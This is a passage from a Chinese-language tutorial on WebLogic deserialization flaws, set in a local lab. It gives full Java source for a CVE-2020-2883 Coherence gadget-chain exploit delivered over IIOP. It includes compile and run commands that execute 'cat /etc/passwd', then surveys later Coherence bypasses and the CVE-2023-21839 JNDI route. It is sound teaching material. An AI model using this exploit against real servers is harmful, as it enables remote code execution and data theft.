这和前面 CC 链的思想一样:反序列化本身只是入口,真正执行命令的是目标 classpath 中可被串起来的 gadget。区别是这次不用 Commons Collections,而是使用 WebLogic 自带的 Coherence 类。

我们用一段简洁的代码来实现这个 Coherence 链。当前 lab 的攻击端需要 coherence.jar 才能编译这段代码,本文已经把 WebLogic 安装包里的 coherence.jar 放到 weblogic-deserialize-lab/attacker/lib/coherence.jar。代码保存为 https://github.com/NHPT/Java-Deserialization-Lab/blob/main/weblogic-deserialize-lab/attacker/iiop/IiopCve20202883Client.java

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.PriorityQueue;

public class IiopCve20202883Client {
    public static void main(String[] args) throws Exception {
        // 目标 IIOP 入口地址。
        String target = args.length > 0 ? args[0] : "iiop://127.0.0.1:7001";

        // 在 WebLogic 容器里执行的命令,输出会继承到 WebLogic 容器日志。
        String command = args.length > 1 ? args[1] : "id";

        // 1. 使用 WebLogic 的 WLInitialContextFactory 连接 IIOP 服务端。
        Hashtable<String, String> environment = new Hashtable<String, String>();
        environment.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        environment.put(Context.PROVIDER_URL, target);
        Context context = new InitialContext(environment);

        // 2. 获取 WebLogic 暴露的 MEJB 远程对象,后面借它发起一次 IIOP 调用。
        Object mejb = context.lookup("ejb/mgmt/MEJB");

        // 3. 构造 Coherence gadget 对象。
        Object payload = buildCoherencePayload(command);

        // 4. 把 payload 作为 IIOP 远程调用参数送进 WebLogic。
        Method remove = mejb.getClass().getMethod("remove", Object.class);
        remove.invoke(mejb, payload);
    }

    // 构造 Coherence gadget 对象。
    private static Object buildCoherencePayload(String command) throws Exception {
        // 3.1 创建一个 ExtractorComparator 对象,比较器使用 `toString` 方法,防止 queue.add() 时在本地执行命令。
        ExtractorComparator comparator = new ExtractorComparator(new ReflectionExtractor("toString"));

        // 3.2 使用上面的 comparator 构造一个 PriorityQueue 对象。
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        // 3.3 添加两个 ProcessBuilder.class 元素,至少两个元素才会触发排序操作。
        // 因为我们要调用 ProcessBuilder("/bin/sh", "-c", "id").inheritIO().start(),所以添加 ProcessBuilder.class 元素。
        // 如果想用 Runtime.getRuntime().exec() 而不是 ProcessBuilder,那么占位元素就必须换成 Runtime.class
        queue.add(ProcessBuilder.class);
        // 此时会触发比较器,调用我们 3.1 设置的 toString 方法(无害),不会执行命令。
        queue.add(ProcessBuilder.class);

        // 3.4 ChainedExtractor 的构造函数接收的是 ValueExtractor[] 数组,创建一个 ValueExtractor 数组存放 ReflectionExtractor 链。
        ValueExtractor[] extractors = new ValueExtractor[]{
                new ReflectionExtractor("getConstructor", new Object[]{new Class[]{String[].class}}),
                new ReflectionExtractor("newInstance", new Object[]{new Object[]{new String[]{"/bin/sh", "-c", command}}}),
                new ReflectionExtractor("inheritIO"),
                new ReflectionExtractor("start"),
        };

        // 3.5 把 ChainedExtractor 放入 ExtractorComparator 中。
        setField(comparator, "m_extractor", new ChainedExtractor(extractors));
        return queue;
    }

    // 通过反射设置私有字段。
    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }
}

编译并运行:

cd weblogic-deserialize-lab/attacker/iiop
javac -source 1.7 -target 1.7 -cp ../lib/wlfullclient.jar:../lib/coherence.jar IiopCve20202883Client.java
java -cp .:../lib/wlfullclient.jar:../lib/coherence.jar IiopCve20202883Client iiop://127.0.0.1:7001 "cat /etc/passwd"

为了区分前面我们用 cat /etc/passwd 命令验证,运行产生的异常不影响我们的验证:

iiop-send.png

命令执行后,查看 WebLogic 容器日志:

iiop-success.png

5. 后续反序列化漏洞概览

CVE-2020-2883 之后,攻击者继续从 Coherence 和 WebLogic JNDI 中寻找新的可利用对象。这些漏洞没有改变前面已经讲过的 T3/IIOP 入口,因此这里只说明它们与前面漏洞的关系,不再分别搭建攻击实验。

5.1 Coherence 中的后续绕过

相关漏洞利用方式
CVE-2020-14625、CVE-2020-14645、CVE-2020-14825、CVE-2020-14841和 CVE-2020-2883 类似,仍然利用 Coherence 调用 ValueExtractor.extract(),只是把 ReflectionExtractor 换成 UniversalExtractorLockVersionExtractor,最后连接 TemplatesImpl 或 JNDI lookup。
CVE-2020-14644和前面讲过的 CC3 类似,都是携带并加载恶意 class 字节码,只是把 TemplatesImpl 换成了 Coherence 的 RemoteConstructor
CVE-2020-14756和上篇的封装绕过思路类似,都不让危险对象直接经过原来的反序列化过滤;区别是这里通过 Coherence 的 ExternalizableHelper 恢复内层对象。
CVE-2021-2135和 CVE-2020-14756 类似,仍然使用 ExternalizableHelper,只是改从 fromBinary()BufferInput 等路径进入对象恢复过程,继续绕过新增检查。
CVE-2021-2394相当于组合 CVE-2020-14756 和 CVE-2020-14825:外层通过 ExternalizableHelper 绕过过滤,内层使用 FilterExtractorMethodAttributeAccessor 触发 JNDI lookup。

5.2 再次通过远程对象触发 JNDI

前面 CVE-2018-3191 使用 JtaTransactionManager 触发 JNDI lookup。后续的 CVE-2023-21839 最终仍然访问外部 JNDI 服务,但换成了 ForeignOpaqueReference

OpaqueReference 是 WebLogic JNDI 中的一种延迟解析引用。它本身不是最终要返回给调用方的业务对象。当程序通过 JNDI lookup 查到这类对象时,WebLogic 会调用它的 getReferent() 方法获取真正的对象。

ForeignOpaqueReferenceOpaqueReference 的一个实现,用来表示位于其他 JNDI 服务中的对象。它使用 remoteJNDIName 保存外部对象的 JNDI 地址,使用 jndiEnvironment 保存连接外部 JNDI 服务需要的环境。调用 getReferent() 时,它会根据这两个字段创建 JNDI 上下文并发起 lookup。

CVE-2023-21839 的利用过程如下:

  • 攻击者通过 T3 或 IIOP 连接 WebLogic 的 JNDI 服务。
  • 把保存了外部 JNDI 地址的 ForeignOpaqueReference 绑定到 WebLogic JNDI 树中。
  • 再通过 lookup 查找刚刚绑定的名称。
  • WebLogic 发现结果是 OpaqueReference,于是调用 getReferent()
  • ForeignOpaqueReference.getReferent() 根据 remoteJNDIName 访问攻击者控制的外部 JNDI 服务。

它与 CVE-2018-3191 的差别主要在第一阶段:

  • CVE-2018-3191:把 JNDI 地址放进 JtaTransactionManager.userTransactionName,WebLogic 反序列化这个对象时自动发起 lookup。
  • CVE-2023-21839:先把 ForeignOpaqueReference 绑定到 WebLogic JNDI,再主动 lookup 这个名称,由 getReferent() 发起外部 JNDI 查找。

两条路线后面的外部 JNDI 服务可以相同,所以这里不再重复第 3.2 节的第二阶段。

6. 本文小结

本文的内容比较多,希望读完之后掌握这些内容:

  • RMI 是 Java 远程方法调用机制,JRMP 是它默认使用的网络协议。
  • RMI 远程代理通过 RemoteObjectInvocationHandlerUnicastRef 保存远程引用。
  • LiveRef.read() 会注册远程引用,DGC 因此在反序列化期间自动建立 JRMP 连接。
  • CVE-2017-3248 的第一阶段没有直接携带最终 CC gadget,第二阶段对象由攻击端 JRMP 服务返回。
  • CVE-2018-2628、CVE-2018-2893 和 CVE-2018-3245 通过更换代理接口、包装对象或 RemoteObject 子类继续进入 JRMP 路径。
  • T3 和 IIOP 是把对象送进 WebLogic 的入口;JRMP、JNDI 是后续触发方式;CC、ObjectFactory、Coherence 是最终执行逻辑。
  • JNDI 路线不一定需要 CC 链,本文实验中是通过 Reference 加载 ObjectFactory 执行命令,利用链选择取决于目标 JDK、WebLogic 版本和 classpath。
  • JNDI 是命名和目录查找 API,可以通过 RMI、LDAP 或 IIOP 等方式访问命名服务。
  • CVE-2018-3191 从 T3 进入,通过 JtaTransactionManager 触发 JNDI lookup。
  • CVE-2020-2551 将 JNDI 触发路线扩展到 IIOP 入口。
  • CVE-2020-2555 使用 LimitFilter 触发 Coherence 的 ValueExtractor,CVE-2020-2883 改用 PriorityQueueExtractorComparator 绕过修复。
  • 后续 Coherence 漏洞继续通过更换 UniversalExtractorLockVersionExtractorRemoteConstructor 等对象绕过黑名单。
  • CVE-2020-14756、CVE-2021-2135 和 CVE-2021-2394 说明 ExternalizableHelper 这套对象恢复逻辑也可能绕过原有过滤。
  • CVE-2023-21839 改用 ForeignOpaqueReference,通过远程绑定和 lookup 再次触发外部 JNDI 查找。

下一篇讲 WebLogic 反序列化漏洞(下):WLS-WSAT 与 XMLDecoder,入口从 T3/IIOP 转为 HTTP/SOAP。